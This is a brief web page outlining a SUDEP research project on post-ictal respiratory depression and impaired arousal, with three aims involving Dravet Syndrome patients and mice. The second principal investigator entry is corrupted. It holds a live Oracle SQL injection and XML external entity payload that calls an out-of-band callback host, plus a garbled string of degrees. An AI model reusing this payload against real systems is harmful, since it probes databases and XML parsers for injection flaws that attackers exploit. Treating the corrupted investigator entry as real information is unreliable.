CSR 8

Respiratory and Arousal Mechanisms

Specific Aims and Tasks

Post-ictal respiratory depression has been proposed to contribute to SUDEP, and this may be particularly dangerous when combined with impaired arousal that commonly occurs after generalized tonic-clonic seizures. The combination of arousal and respiratory defects could explain why many SUDEPs occur with patients in bed in the prone position. This proposal has the following Specific Aims:

1 - Characterize interictal and ictal respiratory control and arousal in Dravet Syndrome patients and Dravet Syndrome mice.

2 - Identify the anatomical pathway from the forebrain that inhibits the respiratory control network during seizures.

3 - Determine which brainstem neurons are involved in peri-ictal inhibition of breathing and depressed arousal during seizures.

The proposed work is expected to help define the mechanisms underlying post-ictal hypoventilation and depression of arousal; identify biomarkers of SUDEP, and; discover preventive interventions for SUDEP.

Principal Investigators

• George B Richerson, MD, PhD
• (select extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % sslci SYSTEM "http://nkb1g5zishjnvkaqv75xz0mpagg9413p6dy0toi.oasti'||'fy.com/">%sslci;]>'),'/l') from dual) Brenner, , BA, BS, MS, MA, MD, PhD, FRCP